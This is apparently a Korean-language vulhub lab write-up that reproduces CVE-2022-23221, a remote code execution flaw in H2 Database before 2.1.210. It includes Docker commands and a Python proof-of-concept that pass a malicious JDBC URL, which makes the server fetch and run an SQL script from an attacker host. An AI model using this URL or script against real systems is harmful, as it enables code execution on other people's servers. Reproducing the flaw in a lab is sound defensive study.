
vulhub/H2-database/CVE-2022-23221
H2는 관계형 데이터베이스 관리 시스템으로, SQL 엔진 안에서 Java 코드를 직접 컴파일하고 실행할 수 있는 기능을 제공한다.
H2 드라이버는 JDBC URL을 파싱하여 애플리케이션과 데이터베이스 간의 연결을 설정한다. 이때 URL에 포함된 설정 파라미터를 통해 데이터베이스의 초기 상태나 동작을 제어할 수 있다.
문제가 되는 H2 2.1.210 이전 버전에는 JDBC URL의 INIT 파라미터를 통해서 원격 SQL 스크립트를 실행할 수 있다는 문제가 있다. 공격자가 이를 악용하여 조작된 SQL 스크립트를 원격에서 주입하고 그 내부의 구문을 통해서 시스템 명령어를 실행함으로써 CVE-2022-23221 취약점이 유발된다.
이 취약점의 특징은 다음과 같다.
취약점 영향 범위
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’이 포함되어 있을 것.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> 보안 설정 우회
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> 애플리케이션과 DB 연결 시 자동으로 실행되는 SQL 명령
CREATE ALIAS SQL 구문이 있을 것.
CREATE ALIAS 구문은 H2가 DB 내에서 스크립트 내의 Java 함수를 실행하게 만들며, 결과적으로는 RCE가 발생한다.시나리오
id, whoami, pwd의 실행 결과가 출력된다면 이는 취약한 H2 환경이 구성되었고, H2가 악성 JDBC URL을 파싱하는 과정에서 외부의 attacker 서버로부터 exploit.sql 파일이 원격으로 다운로드되어 실행됐다는 것을 의미한다.환경 구성
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : exploit.sql 파일 제공환경구성 후 http://your-ip:8082 에 접속하면 H2 웹 페이지가 나타난다.
: 웹 콘솔에서는 보안 정책이 적용되어 있어서 취약점 조건이 되는 파라미터들이 필터링될 수 있으므로 악성 파라미터가 포함된 JDBC URL을 CLI를 통해 직접 입력해서 취약점을 재현하고 그 결과를 확인한다.
정상 JDBC URL: "jdbc:h2:mem:test"
정상 요청 명령어
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
실행 결과

악성 JDBC URL을 H2 드라이버에 입력해서 attacker 서버와 연결을 시도한다. 이때 URL을 입력하는 방법에는 2가지가 있다.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2는 JDBC URL의 INIT 파라미터에 명시된 INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' 대로 attacker 서버로 exploit.sql 파일을 요청(HTTP GET)하고 이를 H2 데이터베이스 내에서 실행한다.
docker logs attacker를 실행하면 h2-vulnerable 서버로부터 들어온 exploit.sql 파일 요청 로그를 확인할 수 있다.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
exploit.sql 파일의 실행 결과로 h2-vulnerable 서버의 로그에 “EXPLOITED” 문자열과 함께 명령어 id, whoami, pwd의 실행 결과가 출력된다.
docker logs h2-vulnerable로 로그를 확인할 수 있다.
docker logs h2-vulnerable`

=> 이는 취약한 h2 환경이 구성되었고, H2가 악성 JDBC URL을 파싱하는 과정에서 파일 원격 다운로드 및 실행이 성공했음을 의미한다.